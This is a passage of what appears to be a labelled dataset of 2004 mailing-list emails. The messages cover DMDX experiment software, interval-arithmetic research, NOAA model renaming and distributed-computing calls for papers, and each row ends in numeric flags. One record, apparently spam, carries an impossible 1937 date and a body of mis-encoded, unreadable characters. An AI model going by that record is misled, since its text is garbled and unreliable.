itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > >==================================================================== > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > First Law of Advice: The correct advice is to give the advice > that is desired. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > Michelle Givertz, Ph.D. Research Specialist, Senior Department of Psychiatry University of Arizona (520)626-8568",0,1 Maria Nella Carminati ,DMDX@psy1.psych.arizona.edu,"Sun, 24 Oct 2004 18:00:33 +0200",[DMDX] mapping request on space bar,"Hello everyone, I am designing a self paced reading experiment. Is there any way I can use the space bar for advancing bits of text to be read, for which the reading time must be measured? It seems to me that in the present state of affairs the space bar is associated by default with items coded '0', i.e. items that are not experimental, and that this association cannot be changed. Any help much appreciated. Maria Nella Carminati Dept. Of Psychology University of Milan Bicocca ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 24 Oct 2004 17:41:11 -0700",[DMDX] Re: mapping request on space bar,"At 06:00 PM 10/24/2004 +0200, you wrote: >Hello everyone, > >I am designing a self paced reading experiment. Is there any way I can use >the space bar for advancing bits of text to be read, for which the reading >time must be measured? It seems to me that in the present state of affairs >the space bar is associated by default with items coded '0', i.e. items that >are not experimental, and that this association cannot be changed. Unmap the spacebar to request mapping that is made by default when you install the keyboard device with then map the spacebar to the positive response with . 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Thanks a lot. Alison McPhee Research Assistant Dept. of Cognitive Neuropsychiatry Mental Health Research Institute (MHRI) amcphee@mhri.edu.au PH: 03 9389 2971 ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 25 Oct 2004 08:21:38 -0700",[DMDX] Re: Using DMDX with a button box.,"At 04:29 PM 10/25/2004 +1000, you wrote: >Hi, > >I am wondering if anyone can pls help me. I need to connect a response >button box (a 2-button and a 4-button) to a Toshiba Tecra S1 notebook which >is running XP. I need to know if and how to connect a button box to this >notebook, and, if a response button box isn't the best input device for >this type of notebook , then what is? As i am not very technical at all, i >am willing to provide any further info which may be required for someone to >help me. You buy a PCMCIA PIO adapter and plug your button box into that. But each button box is fabricated to work with some specific type of PIO card and the chances of someone non-technical getting that to work are roughly zero. Unless you are super attached to millisecond accurate RTs I suggest getting some USB device that you like, be it a gamepad or a mouse or something else, and using that instead. If you really have to have RTs with errors less than the 5-10ms or so that prevalent USB devices tend to have then you'll have to get a technician to set it up for you. If you have money I can build or modify any existing button boxes for you but that's discussed off list. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The time is always right to do what is right. - Dr. Martin Luther King, Jr. ",0,0 """Walker, Darren"" ",DMDX@psy1.psych.arizona.edu,"Mon, 25 Oct 2004 17:21:22 +0100",[DMDX] RE: Re: Using DMDX with a button box.,"I am using a Tecra S1 to collect RT's running DMDX and WIN XP. It is a good notebook in the sense that it has a serial port which many 'commercial' button boxes (e.g E-PRIME, SUPERLAB etc) use. If you can cope with RT's that may not be millisecond but will be accurate to around 5-10ms with a relatively fixed (important of course) margin of 'transmission delay' (approx 30-40ms) error built in then a serial mouse makes a pretty good compromise and is argued by many to be more accurate than PS/2 or USB mice. Of course you need to find one as they are less common nowadays but I found 1-2 around our lab including one with 3 keys and there is always Ebay ! There are various papers published on this topic in Behaviour Research Methods Instruments and Computers, e.g. Beringer (1992), 24, 486-490 and more recently Plant, Hammond and Whitehouse Behav Res Methods Instrum Comput. 2003 May;35(2):276-84. Hope that helps, Darren -----Original Message----- From: j.c.f. [mailto:jforster@psy1.psych.arizona.edu] Sent: 25 October 2004 16:22 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Using DMDX with a button box. At 04:29 PM 10/25/2004 +1000, you wrote: >Hi, > >I am wondering if anyone can pls help me. I need to connect a response >button box (a 2-button and a 4-button) to a Toshiba Tecra S1 notebook which >is running XP. I need to know if and how to connect a button box to this >notebook, and, if a response button box isn't the best input device for >this type of notebook , then what is? As i am not very technical at all, i >am willing to provide any further info which may be required for someone to >help me. You buy a PCMCIA PIO adapter and plug your button box into that. But each button box is fabricated to work with some specific type of PIO card and the chances of someone non-technical getting that to work are roughly zero. Unless you are super attached to millisecond accurate RTs I suggest getting some USB device that you like, be it a gamepad or a mouse or something else, and using that instead. If you really have to have RTs with errors less than the 5-10ms or so that prevalent USB devices tend to have then you'll have to get a technician to set it up for you. If you have money I can build or modify any existing button boxes for you but that's discussed off list. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The time is always right to do what is right. - Dr. Martin Luther King, Jr. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. 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Vladik ------------- Begin Forwarded Message ------------- From: ""Ray Moore"" To: ""Vladik Kreinovich"" Subject: computer aided proofs in analysis Date: Tue, 26 Oct 2004 08:59:38 -0400 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Virus-Scanned: Symantec AntiVirus Scan Engine Dear Vladik, I suppose you also know the book Computer Aided Proofs in Analysis, eds. K.R.Meyer and D.S.Schmidt, Springer 1991. It contains papers presented at a meeting at U. Cincinnati in 1989. Many of the papers discuss or use interval methods, including a paper (pp 241-251) by Luis Seco on ""Computer assisted lower bounds for atomic energies"". best regards, Ray ------------- End Forwarded Message -------------",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Tue, 26 Oct 2004 14:16:05 -0600",FUZZ-IEEE'05: deadline extended,"Dear Friends, I have just learned that the deadline for submitting a paper to the 2005 IEEE International Conference on Fuzzy Systems (FUZZ-IEEE 2005) has been extended to November 15. This conference will take place May 22-25, 2005, in Reno, Nevada. As you may remember, the conference organizers approved a special interval session at this conference. All the papers have to be submitted through the conference webpage. When submitting, please follow the instructions send by the organizers: IMPORTANT: The authors of the papers intended for the interval session must specify the following topic: S1. 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These computations may use any number system implemented by a software package or in hardware, including floating and fixed point, serial, on line, continued fractions, exact, multiple precision, interval and stochastic arithmetic. Results are sought on both applied and fundamental questions. Important topics discussed during these conferences include but are not limited to: * Foundation and properties of number systems * Computability and complexity * Formal aspects and automatic proof checking * Links with number theory and automata theory * Basic arithmetic operations * Implementation of the standard and special functions * Engineering of floating and fixed point algorithms * Symbolic manipulation of numbers * Accuracy and reliability for applications and industry * Robust geometric algorithms and exact geometric computation * Hardware design support and implementations The conference will feature invited lectures and contributed talks. Invited Lectures: 1. Benno Fuchssteiner, Paderborn, Germany 2. Simon Plouffe, Montreal, Canada 3. Stefan Schirra, Magdeburg, Germany Contributed Talks: 1. Generating formally certified bounds on values and round-off errors Marc Daumas & Guillaume Melquiond 2. A proven correctly rounded logarithm in double-precision de Dinechin, Loirat, Muller 3. On intermediate precision required for correctly-rounding decimal-to-binary floating-point conversion M. Hack 4. An extension of Chaitin's halting probability $\\Omega$ to measurement operator in infinite dimensional quantum system K. Tadaki 5. Bridging the gap between formal specification and bit-level floating-point arithmetic S. Boldo 6. A fast algorithm for Julia sets of hyperbolic rational functions Robert Rettinger 7. On the hierarchy of $\\Delta_02$-numbers Xizhong Zheng 8. Automata, Borel functions and real numbers in Pisot basis Cagnard, Simonnet 9. A comparison of real and complex pseudozero sets for polynomials with real coefficients Graillat, Langlois 10. Software division and square root using Goldschmidt's algorithm Peter Markstein 11. A comparison of polynomial evaluation schemes L. Fousse, S. Schmitt 12. The generic multiple-precision floating-point addition with exact rounding (as in the MPFR library) Vincent Lefevre There will also be an informal session open to present work in progress. Potential speakers might contact Christiane Frougny with an intended title for such a presentation (Christiane.Frougny@liafa.jussieu.fr). The preliminary program is available on the webpage. Steering Committee: Jean-Claude Bajard, Montpellier, France Jean-Marie Chesneaux, Paris, France Marc Daumas, Lyon, France Christiane Frougny, Paris, France Peter Kornerup, Odense, Denmark (Chair) Dominique Michelucci, Dijon, France Jean-Michel Muller, Lyon, France Program Committee: Jean-Paul Allouche, Orsay, France Jean-Claude Bajard, Montpellier, France Vasco Brattka, Cape Town, South Africa Jean-Marie Chesneaux, Paris, France Marc Daumas, Lyon, France Martín Escardó, Birmingham, United Kingdom Guy Even, Tel Aviv, Israel Christiane Frougny, Paris, France (Chair) Peter Kornerup, Odense, Denmark Philippe Langlois, Perpignan, France Dominique Michelucci, Dijon, France Paolo Montuschi, Torino, Italy Michael Parks, Sun, United States Siegfried Rump, Hamburg, Germany Laurent Thery, Sophia Antipolis, France Organizing Committee: Vasco Brattka, Cape Town, South Africa (Publicity Chair) Norbert Müller, Trier, Germany (Local Organizer) Registration: Participants are invited to register for the conference until November 7, 2004 by sending a fax to Norbert Müller. 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Occasionally this happens because WES isn't part of the AWIPS baseline, and it is generally not considered in the development process. So far OB4 appears a more normal release as far as its impacts on WES. So we are getting close to being ready for a beta test of WES4.0 with OB4. Some of the new things we are trying to include are: DMD, TRU, and the SCAN storm cells table. I'll send a message requesting beta testers once we get an install CD tested internally. We may start beta testing either next week or late November, and the earliest we could see WES4.0 out is around Thanksgiving, perhaps into early December. If you have and questions or comments about all that is going on, don't hesitate to ask. Mike ",0,1 Markus Neher ,reliable_computing@interval.louisiana.edu,"Thu, 28 Oct 2004 20:06:10 +0200",New version of CoStLy (and ACETAF),"Dear colleagues, a new version of the CoStLy library for complex inclusion functions is available now. The whole library has been redesigned completely. All of the ""usual"" standard functions have now (almost) optimal accuracy. There are new power functions with (almost) optimal accuracy and new root functions with (almost) optimal accuracy. The code and a preprint are available at http://iamlasun8.mathematik.uni-karlsruhe.de/~ae16/CoStLy.html The ACETAF package is also affected. The new version 3.0 uses the CoStLy inclusion functions, which are more accurate than the previous implementations in ACETAF (but the ""true"" ACETAF procedures are unchanged). ACETAF is available at http://iamlasun8.mathematik.uni-karlsruhe.de/~ae16/acetaf.html Best regards, Markus ",0,1 ������ ,reliable_computing-outgoing@interval.louisiana.edu,"Sat, 10 Jul 1937 00:39:26 +0000",���̳ʽ� ���� �󸶱��� ���� �ѵ� ����,������ ������ ��������  ����������   �� �� ��   �� �� �� �� ��   �� �� �� �� ��   �� �� ���� �������� ���� ���� ���� ����   ����  ������ ������������,1,1 Geoff DiMego ,"John Ward , Wayman Baker , Bradley Ballish , Maxine Brown , Peter Browning , Christopher Burr , Luis Cano , Kirby Cook , Edwin Danaher , Andy Edman , David Feit , Brent Gordon , Gary Hufford , David Imy , Jiann-Gwo Jiing , Robert Johns , Kenneth Johnson , Richard Knabb , Peter Manousos , Daniel Mccarthy , Kevin Mccarthy , Bernard Meisner , David Michaud , Fred Mosher , Hualu Pan , James Partain , Richard J Pasch , DB Rao , Edward N Rappaport , Thomas Salem , Russell Schneider , Steve Schotz , Joseph Sienkiewicz , Steve Silberberg , Dan Smith , Soo-Sac , Naomi Surgi , Frederick Toepfer , Jeff Waldstreicher , Fred Johnson , Mike Campbell , Robert Kelly , Christine Alex , Myron Berger , David Caldwell , Gary Carter , Paul Dallavalle , Edwin Danaher , Stowell Davison , Harry Glahn , Thomas Graziano , Dorothy Haldeman , David Helms , Paul Hirschberg , James Hoke , Kevin L Johnston , Charles Kluepfel , Wendy Levine , Greg Mandt , Jack May , Robert Mcleod , Jeff Mcqueen , James Noel , Henry Robinson , Diane Savoy , Joseph Schaefer , Leroy Spayd , Steve Tracton , Louis Uccellini ","Fri, 29 Oct 2004 08:07:10 -0400",Re: Eta To Become NAM,"It seems that people have no idea why we are changing names. This was not made clear in the notice and many people are seeing it as frivolous and a colossal waste of time and effort. The name has to be changed because we will soon swap out the Eta Model and its 3DVAR analysis / Eta Data Assimilation System (EDAS) and replace them with the Weather Research & Forecasting (WRF) versions: NCEP's Nonhydrostatic Mesoscale Model (NMM) and a new Gridpoint Statistical Interpolation (GSI) analysis. WRF is already running in NCEP's Production Suite in the HiResWindow slot. A briefing package can be found at: http://wwwt.emc.ncep.noaa.gov/mmb/mmbpll/wrftest/WRF-HRW-Readiness-Rev-13Sep04_files/v3_document.htm WRF, in various flavors, will be running in several other slots in the future (Eta, DGEX, RUC, Fire Weather/IMET Support, Homeland Security, Hurricane, SREF & Air Quality). We can't have run slots named after the model that is running in them anymore because then all those slots would be WRF. Therefore, we have chosen to re-name the Eta slots to eliminate the association with a particular model. Speaking of the replacement of Eta, now NAM, by WRF-NMM -- we had been planning on doing that in late September 2005. We have now targeted that replacement to occur in late March 2006. This difficult decision was made as a result of three factors: a) delayed delivery & acceptance of NCEP's new computer upgrade (which has caused a backlog of implementations to build up); b) new and still evolving consequences of the recent decision to put 50% of our computer system at the Fairmont WV site and c) the complex and intricate nature of the new WRF system which has added to our planned development time. > ====================== > NOUS41 KWBC 261357 > PNSWSH > > TECHNICAL IMPLEMENTATION NOTICE 04-58 > NATIONAL WEATHER SERVICE HEADQUARTERS WASHINGTON DC > 950 AM EST TUE OCTOBER 26 2004 > > TO: FAMILY OF SERVICES /FOS/ SUBSCRIBERS...NOAA WEATHER > WIRE SERVICE /NWWS/ SUBSCRIBERS...EMERGENCY MANAGERS > WEATHER INFORMATION NETWORK /EMWIN/ SUBSCRIBERS... > OTHER NATIONAL WEATHER SERVICE /NWS/ CUSTOMERS AND > PARTNERS...NWS EMPLOYEES > > FROM: PAUL HIRSCHBERG > CHIEF...SCIENCE PLANS BRANCH > OFFICE OF SCIENCE AND TECHNOLOGY /OST/ > > SUBJECT: RENAMING NCEP AVN AND ETA MODEL OUTPUT DATA ON > THE NCEP AND NWS FTP SERVERS. > > NOTE: ALTHOUGH THIS NOTICE FALLS OUTSIDE THE PROVISIONS AND > REQUIREMENTS OF NWSI 10-1805... IT IS BEING TRANSMITTED > AS A COURTESY. > > NCEP IS IN THE PROCESS OF RENAMING BOTH THE AVN AND ETA MODEL > RUNS TO BETTER REFLECT THE FUNCTIONS OF THESE RUNS. THE AVN RUN > IS BEING RENAMED TO THE GFS /GLOBAL FORECAST SYSTEM/ AND THE ETA > MODEL RUN IS BEING RENAMED TO NAM (NORTH AMERICAN MESOSCALE). > THIS RENAMING PROCESS WILL BE COMPLETE ONCE NCEP CENTRAL > OPERATIONS /NCO/ BEGINS OPERATIONAL PROCESSING ON PHASE II OF ITS > CENTRAL COMPUTING SYSTEM /CCS/ IN GAITHERSBURG ... MD. THE > CHANGE IS SCHEDULED FOR TUESDAY... JANUARY 18 2005. > > TO ACCOMODATE THESE NAME CHANGES... NCO IS CHANGING THE NAMES OF > SEVERAL OTHER FILES AND DIRECTORIES ON ITS CCS TO STREAMLINE HOW > DATA ARE STORED. THESE CHANGES WILL CREATE NOTICABLE DIFFERENCES > IN THE LOCATIONS AND NAMES OF FILES ON THE NCEP AND NWS FTP > SERVERS. NCEP IS CURRENTLY PROVIDING DATA WITH THE NEW NAMES AND > LOCATIONS ON ITS FTP SERVER AND THE NWS FTP SERVER. USERS OF > THESE SERVERS SHOULD CHANGE THEIR PROCESSING THAT DOWNLOADS DATA > FROM THESE SERVERS TO THE NEW NAMES AND DIRECTORIES AS SOON AS > POSSIBLE. ON TUESDAY... JANUARY 18 2005... THE DATA SETS WITH THE > OLD NAMES AND DIRECTORY STRUCTURES WILL NO LONGER EXIST. > > THESE CHANGES AFFECT THE DATA AT THE FOLLOWING TWO SERVERS. > > THE OFFICIAL NWS SERVER AT /USE LOWER CASE LETTERS/: > FTP://TGFTP.NWS.NOAA.GOV/ > > AND THE NCEP FTP SERVER AT /USE LOWER CASE LETTERS/: > FTP://FTPPRD.NCEP.NOAA.GOV/PUB/DATA/NCCF/COM/ > > PLEASE USE THE INFORMATION AT THE FOLLOWING WEBSITE TO AID IN > YOUR TRANSISTION TO THE NEW FILE NAMES AND DIRECTORY LOCATIONS > /USE LOWER CASE LETTERS/: > > HTTP://WWW.NCO.NCEP.NOAA.GOV/PMB/CHANGES/MODEL_RENAME.HTML > > IF YOU HAVE ANY QUESTIONS CONCERNING THIS MODEL NAME CHANGE... > PLEASE CONTACT: > > JOHN WARD > NCEP...PRODUCT MANAGEMENT BRANCH CHIEF > CAMP SPRINGS... MD > PHONE: 301 763 8000 X7185 > EMAIL: JOHN.WARD@NOAA.GOV > > OR > > BRENT GORDON > NCEP...PRODUCTION SUPPORT TEAM LEAD > CAMP SPRINGS... MD > PHONE: 301 763 8000 X7193 > EMAIL: BRENT.GORDON@NOAA.GOV > > THIS AND OTHER NWS TECHNICAL IMPLEMENTATION NOTICES ARE AVAILABLE > ONLINE AT /USE LOWER CASE LETTERS/: > > HTTP://WWW.NWS.NOAA.GOV/OM/NOTIF.HTM > > $$ > NNNN ",0,1 Bartlomiej Jacek KUBICA ,reliable_computing@interval.louisiana.edu,"Wed, 27 Oct 2004 16:31:22 +0200",validated CDF of the Gaussian distribution," Dear Interval Researchers, I need to have the validated values of CDF of the normal distribution. Obviously, it can be simply obtained by integrating (in interval arithmetic) the formula for the PDF (which is well-known). Two questions arrise: 1) Did anyone do it before ? 2) Which method of integration can you recommend ? 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More information about the hotel and information about the meeting venue and possible activities can be found in the workshop webpage http://bt.pa.msu.edu/TM/Miami2004/ We have negotiated a special rate of 85$/night for meeting participants. This discounted rate is available three nights both prior to and after the event. Room reservations can be made at 1-305-538-2000 (Fontainebleau Reservations) and referring to the ""Taylor Model Workshop"" or ""Michigan State University"". Companion Meeting The Third International Workshop on Taylor Methods will be preceded by the 2004 Workshop on Status of Muon Collider Simulations. Muon Colliders are novel particle accelerators. Taylor methods have been used for their design and simulation for many years, and the meeting may be of interest to some TM04 participants. It is planned to have some relevant talks overlapping both meetings. Abstracts Abstracts should be submitted as Ascii documents to Johannes Grote by November 21, 2004. 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Excucse me if you receive multiply copies. ---------- Forwarded message ---------- Date: Wed, 27 Oct 2004 16:31:22 +0200 (CEST) From: Bartlomiej Jacek KUBICA To: reliable_computing@interval.louisiana.edu Subject: validated CDF of the Gaussian distribution Dear Interval Researchers, I need to have the validated values of CDF of the normal distribution. Obviously, it can be simply obtained by integrating (in interval arithmetic) the formula for the PDF (which is well-known). Two questions arrise: 1) Did anyone do it before ? 2) Which method of integration can you recommend ? Thank you for any advices and best regards Bartlomiej Kubica",0,0 """R. Baker Kearfott"" ","Bartlomiej Jacek KUBICA , reliable_computing@interval.louisiana.edu","Mon, 01 Nov 2004 09:05:26 -0600",Re: validated CDF of the Gaussian distribution (fwd),"Bartolomiej, There is no problem with the ""reliable_computing"" list: We have implemented a new way of removing incorrect addresses corresponding to servers that give ""non-standard"" information that crashes the list server. The reason your message wasn't sent was because you were sending it from an address you had not used with the list before, and I must explicitly ""approve"" non-member submissions. This takes time, as I also have other interests and duties :-) In the past, my policy was to routinely add addresses corresponding to people I know are legitimate to the list, and I just did that with your new address. I recently have been hesitant to do that, since I got a complaint from a person whose address I added (who subsequently was receiving traffic from the list twice). Nonetheless, I think adding people to the list (and removing them if they complain) is the lesser of two evils, so I will continue to do that. That way, I'll be sure people whom I know should be on the list actually are, and their posting will go through immediately. Sincerely, R. Baker Kearfott At 03:46 PM 10/29/04 +0200, Bartlomiej Jacek KUBICA wrote: > >It seems it didn't arrive, so I resend it. >Excucse me if you receive multiply copies. > > >---------- Forwarded message ---------- >Date: Wed, 27 Oct 2004 16:31:22 +0200 (CEST) >From: Bartlomiej Jacek KUBICA >To: reliable_computing@interval.louisiana.edu >Subject: validated CDF of the Gaussian distribution > > >Dear Interval Researchers, > >I need to have the validated values of CDF of the normal distribution. >Obviously, it can be simply obtained by integrating (in interval >arithmetic) the formula for the PDF (which is well-known). > >Two questions arrise: > >1) Did anyone do it before ? >2) Which method of integration can you recommend ? > >Thank you for any advices and best regards > Bartlomiej Kubica > > --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA ---------------------------------------------------------------",0,1 dcoss05@SEAS.ROCHESTER.EDU,PODC@LISTSERV.ACM.ORG,"Mon, 01 Nov 2004 11:31:16 -0500",Call for Papers-- IEEE International Conference on Distributed Computing in Sensor Systems," ========================================= IEEE International Conference on Distributed Computing in Sensor Systems June 30 - July 1, 2005 Marina del Rey, California, USA ========================================= WWW.DCOSS.ORG The 2005 International Conference on Distributed Computing in Sensor Systems (DCOSS '05) will take place in Marina del Rey during June 30 - July 1, 2005. DCOSS is motivated by the successful ALGOSENSORS '04 (Algorithmic aspects of wireless sensor networks) workshop, which was co-located with ICALP and LICS in Finland on 16 July, 2004. While the scope of ALGOSENSORS was focused on algorithms for wireless sensor networks, DCOSS '05 is intended to cover several aspects of distributed computing in sensor systems such as high level abstractions, computational models, systematic design methodologies, algorithms, analysis and applications. The conference will provide a forum for researchers and practitioners to present their contributions related to the above high-level aspects of distributed sensor systems. In addition to contributed papers, the meeting will also include keynote addresses by leading researchers, a panel discussion, and a poster/presentation session. Located in Marina del Rey, a beach side community that is the home of the world's largest man-made harbor, the meeting venue can be easily reached from the Los Angeles International Airport (LAX). Most of the world famous attractions of the greater Los Angeles area - including the Santa Monica mountains, the Getty Center, Hollywood, Venice Beach, Disneyland, and Universal Studios can be easily reached from the Marina. SPONSORED BY IEEE Computer Society Technical Committee on Parallel Processing (TCPP) IEEE Computer Society Technical Committee on Distributed Processing (TCDP) Held in co-operation with ACM SIGARCH ACM SIGBED European Association for Theoretical Computer Science (EATCS) IFIP WG 10.3 MEETING INFORMATION The advance program will be available in April 2005. Check http://www.dcoss.org/ for updated information. IMPORTANT DATES January 10, 2005 Conference Submission Due March 15, 2005 Notification of Acceptance/Rejection April 15, 2005 Camera-Ready Paper Due ------------------------------------------------------------------------ ============================== CALL FOR PARTICIPATION ============================== CALL FOR PAPERS Distributed sensor systems have become a highly active research area due to their potential for providing diverse new capabilities. Such systems allow intelligent dense monitoring of physical environments, which makes them immensely useful for data collection and analysis. While much ongoing research has addressed networking, communication and low-level self-configuration issues in such systems, there are also significant challenges pertaining to systematic design, algorithm development and analysis, and abstract modeling in order to achieve efficient and robust realizations of large-scale distributed sensor systems. The large number of sensor devices involved, severe power, computational and memory limitations, resource heterogeneity, dense deployment and frequent failures pose novel challenges to design, algorithms, analysis and implementation. The focus of the conference is on distributed computing issues in large-scale networked sensor systems (including algorithms, applications, and systematic design techniques and tools), but networking-related contributions that support high level abstractions are also welcome. Topics of interest include but are not limited to: - Computation and programming models - Energy models, minimization, awareness - Distributed algorithms for collaborative information processing - Theoretical performance analysis: complexity, correctness, scalability, fault-tolerance - Abstractions for modular design - Languages, operating systems - Task allocation, reprogramming and reconfiguration - Dynamic resource management - Scalable, heterogeneous architectures (node and system-level) - Middleware interfaces, communication and processing primitives - Design, simulation and optimization tools for deployment and operation - Design automation and application synthesis techniques - Case studies: lessons from real world deployments Authors are invited to submit original unpublished manuscripts that demonstrate current research on computational aspects of distributed sensor systems. Submitted manuscripts may not exceed 14 single-spaced pages using 12-point size font on 8.5x11 inch pages, including figures and tables. References may be included in addition to the 14 pages. Authors need to make sure that the electronically submitted files are formatted for 8.5x11 inch paper. Submissions will be judged on correctness, originality, technical strength, significance, quality of presentation, and interest and relevance to the conference attendees. Submitted papers may not have appeared in or be under consideration for another conference or a journal. Submission procedures are available via Web access at http://www.dcoss.org/ All manuscripts will be reviewed. Manuscripts must be received by January 10, 2005, by 5 p.m. U.S. Pacific Coast Time. Notification of review decisions will be mailed by March 15, 2005. Camera-ready papers will be due April 15, 2005. DCOSS '05 Proceedings will be distributed at the Conference. PROGRAM CHAIR Viktor K. Prasanna University of Southern California USA PROGRAM VICE CHAIRS Algorithms: Paul Spirakis, CTI and University of Patras, Greece Applications: Sitharama Iyengar, Louisiana State University, USA Systems: Matt Welsh, Harvard University, USA PROGRAM COMMITTEE Tarek Abdelzaher, University of Virginia, USA Micah Adler, University of Massachusetts, Amherst, USA Prathima Agrawal, Auburn University, USA James Aspnes, Yale University, USA N. Balakrishnan, Indian Institute of Science, India Azzedine Boukerche, University of Ottawa, Canada Richard Brooks, Clemson University, USA John Byers, Boston University, USA Krishnendu Chakrabarty, Duke University, USA David Culler, University of California, Berkeley, USA Kevin A. Delin, NASA/JPL, USA Josep Diaz, Technical University of Catalonia, Spain Jeremy Elson, Microsoft Research, USA Deborah Estrin, University of California, Los Angeles, USA Deepak Ganesan, University of Massachusetts, Amherst, USA Johannes Gehrke, Cornell University, USA Phil Gibbons, Intel Research, Pittsburgh, USA Ashish Goel, Stanford University, USA Wendi Heinzelman, University of Rochester, USA Jennifer Hou, University of Illinois, Urbana Champaign, USA R. Kannan, Louisiana State University, USA Elias Koutsoupias, University of Athens, Greece Evangelos Kranakis, Carleton University, Canada P. R. Kumar, University of Illinois, Urbana Champaign, USA Margaret Martonosi, Princeton University, USA Rajeev Motwani, Stanford University, USA Badri Nath, Rutgers University, USA Stephan Olariu, Old Dominion University, USA David Peleg, Weizmann Institute of Science, Israel S. Phoha, Pennsylvania State University, USA Cristina Pinotti, University of Trento, Italy Kris Pister, University of California, Berkeley, and Dust, Inc., USA S. V. N. Rao, Oak Ridge National Lab, USA Satish Rao, University of California, Berkeley, USA Jim Reich, Palo Alto Research Center, USA Shivakumar Sastry, University of Akron, USA Christian Scheideler, Johns Hopkins University, USA John A. Stankovic, University of Virginia, USA Janos Sztipanovits, Vanderbilt University, USA Bhavani Thuraisingham, National Science Foundation, USA Jan van Leeuwen, Utrecht University, The Netherlands Jay Warrior, Agilent Labs, USA Peter Widmayer, ETH Zurich, Switzerland Jie Wu, Florida Atlantic University, USA Feng Zhao, Microsoft Research, USA POSTER/PRESENTATION SESSION The conference will also include a special plenary session with select presentations and posters from industry and academia. The focus of this session will be on practical applications of sensor systems and experience with real deployments. This will include a short overview talk, followed by audience interactions with the speakers in a ""walk-up-and-talk"" setting. Participation in this session is primarily by invitation, but interested parties are encouraged to contact the poster/presentation chair. ================================= DCOSS '05 ORGANIZATION ================================= GENERAL CHAIR Jose Rolim University of Geneva Switzerland VICE GENERAL CHAIR Sotiris Nikoletseas University of Patras and CTI Greece PROGRAM CHAIR Viktor K. Prasanna University of Southern California USA POSTER/PRESENTATION CHAIR Bhaskar Krishnamachari University of Southern California USA PROCEEDINGS CHAIR Pierre Leone EIG Switzerland STUDENT SCHOLARSHIPS CHAIR Loren Schwiebert Wayne State University USA PUBLICITY CHAIR Wendi Heinzelman University of Rochester USA PUBLICITY CO-CHAIRS Erdal Cayirci Yeditepe University and Istanbul Technical University Turkey Sanjay Jha University of New South Wales Australia FINANCE CHAIR Germaine Gusthiot University of Geneva Switzerland STEERING COMMITTEE Josep Diaz, UPC Barcelona, Spain Deborah Estrin, University of California, Los Angeles, USA Phil Gibbons, Intel Research, Pittsburgh, USA Sotiris Nikoletseas, University of Patras and CTI, Greece Christos Papadimitriou, University of California, Berkeley, USA Kris Pister, University of California, Berkeley, and Dust, Inc., USA Viktor Prasanna, University of Southern California, Los Angeles, USA Jose Rolim, University of Geneva, Switzerland (CHAIR) ---------------------------------------------------------- Wendi B. Heinzelman Assistant Professor of Electrical and Computer Engineering University of Rochester P.O. Box 270126, Hopeman Building, Room 307 Rochester, NY 14627-0126 Phone: 585-275-4053 Fax: 585-273-4919 http://www.ece.rochester.edu/~wheinzel ---------------------------------------------------------- ",0,1 Panagiota Fatourou ,PODC@LISTSERV.ACM.ORG,"Sun, 31 Oct 2004 23:35:58 +0200",PODC 2005 cfp," CALL FOR PAPERS Twenty-Fourth Annual ACM SIGACT-SIGOPS Symposium on PRINCIPLES OF DISTRIBUTED COMPUTING (PODC 2005) July 17-20, 2005, Las Vegas, Nevada, USA http://www.podc.org/podc2005/ IMPORTANT DATES =============== Submission deadline: February 7, 2005, at 17:59 EST Acceptance notification: April 26, 2005 Camera-ready copy due: May 20, 2005 SCOPE ===== PODC continues to broaden the conference, and solicits papers on all areas of distributed systems. We encourage submissions dealing with any aspect of distributed computing, including theory and practice, systems, design, specification, verification, implementation, application, and properties of distributed systems. The common goal is to shed light on the principles of distributed computing. Topics of interest include, but are not limited to, the following subjects in distributed systems: - Distributed algorithms, correctness, complexity, and applications - Communication protocols - Distributed computing issues in the Internet and the Web - High-performance distributed computing and the computational grid - Multiprocessor/cluster architectures, algorithms, practice - Transport and application layer protocols, routing, scheduling, resource allocation - Algorithmic mechanism design - Networking: architecture, design, control, services, and applications - Mobile agents - Specification, semantics, and verification - Distributed middleware platforms, operating systems, and databases - Cryptographic and security protocols, security of distributed systems - Fault tolerance, availability, and self stabilization - Mobile computing, ad hoc and sensor networks - Shared memory - Synchronization: hardware, software, algorithms, architecture, practice - Distributed data management and search - P2P computing, overlay networks - Internet algorithms and data structures - Location-aware distributed computing PROGRAM COMMITTEE ================= Marcos Aguilera HP Labs Jim Anderson UNC Chapel Hill James Aspnes Yale, Chair Amotz Bar-Noy Brooklyn College Rida Bazzi ASU Elizabeth Borowsky Boston College Bodgan Chlebus CU Denver Artur Czumaj NJIT Shlomi Dolev Ben-Gurion U. Cyril Gavoille LaBRI Rachid Guerraoui EPFL Danny Hendler U. Toronto Lisa Higham U. Calgary Prasad Jayanti Dartmouth Dahlia Malkhi Microsoft Research, Hebrew U. Michael Mitzenmacher Harvard Mark Moir Sun Boaz Patt-Shamir Hp Labs, Tel-Aviv U. Michael Reiter CMU Jared Saia UNM Rahul Sami MIT Haifeng Yu Intel Research Pittsburgh, CMU HOW TO SUBMIT ============= Information on how to submit electronically will be available at: http://www.podc.org/podc2005/ SUBMISSIONS 